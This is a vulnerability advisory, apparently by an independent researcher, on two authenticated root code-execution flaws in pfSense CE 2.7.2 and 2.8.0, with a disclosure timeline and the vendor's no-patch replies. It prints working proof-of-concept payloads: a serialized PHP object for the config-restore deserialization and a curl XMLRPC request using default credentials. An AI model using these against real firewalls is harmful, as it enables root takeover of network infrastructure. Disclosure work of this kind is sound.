
Authenticated RCE in Netgate pfSense CE 2.7.2 and 2.8.0
Authenticated Remote Code Execution in Netgate pfSense Community Edition
| Field | Details |
|---|---|
| Researcher | Nelson Adhepeau (@privlabs) |
| Vendor | Netgate |
| Product | pfSense Community Edition |
| Versions | 2.7.2 and 2.8.0 |
| Type | Authenticated Remote Code Execution |
| Disclosure | February 2026 |
| Vendor notified | December 2, 2025 |
| CVE assigned | January 28, 2026 |
This research was conducted in isolated lab environments for educational and security awareness purposes only. All findings were responsibly disclosed to the vendor prior to publication. This advisory does not constitute an invitation to attack production systems. Unauthorized testing is illegal.
The pfSense configuration restore mechanism invokes unserialize() on
user-controlled data without class whitelisting, input validation, or
sandboxing.
A crafted backup file containing a malicious serialized PHP object injects
arbitrary commands via the post_reboot_commands property, which are
executed through mwexec() with full root privileges.
[Attacker] → Login as admin
→ Upload malicious .xml backup file
→ Trigger restore
→ pfSense calls unserialize() on attacker data
→ post_reboot_commands executed via mwexec()
→ [ROOT SHELL]
config.php — restore processing logicpfsense_module_installer class — unsafe deserialization targetmwexec() — command execution sinkO:23:"pfsense_module_installer":1:{
s:17:"*post_reboot_commands";
a:1:{
i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
}
}
"Acknowledged. Classified as authenticated administrative abuse. No patch will be issued." — Netgate
pfSense CE 2.8.0 exposes an XMLRPC method pfsense.exec_php that
executes arbitrary PHP code as root without validation, sandboxing,
or any form of restriction.
The endpoint is:
admin:pfsense)[Attacker] → Send XMLRPC request to /xmlrpc.php
→ Authenticate with admin:pfsense (default)
→ Call pfsense.exec_php with arbitrary PHP
→ Code executes as root, no sandboxing
→ [ROOT SHELL]
xmlrpc.php — API entry pointpfsense.exec_php — unsafe dynamic code executioncurl -k -u admin:pfsense \
-H "Content-Type: text/xml" \
-d '<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param>
<value><string>system("id");</string></value>
</param>
</params>
</methodCall>' \
https://<target>/xmlrpc.php
"Acknowledged. Classified as expected behavior for authenticated users. No patch planned." — Netgate
November 2025 → Vulnerabilities discovered
December 2, 2025 → Responsible disclosure to Netgate
→ Vendor acknowledged, no patch planned
January 28, 2026 → CVE IDs assigned by MITRE
February 2026 → Public disclosure
[email protected]Nelson Adhepeau — Independent Security Researcher
| Field | Value |
|---|
| CVSS v3.1 | 8.8 (High) |
| Vector | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-502, CWE-915 |
| Attack Type | Authenticated (Admin) |
| Component | Backup/Restore mechanism |
| Field | Value |
|---|
| CVSS v3.1 | 9.9 (Critical) |
| Vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-284, CWE-915 |
| Attack Type | Authenticated (remote, Basic Auth) |
| Component | XMLRPC API — pfsense.exec_php |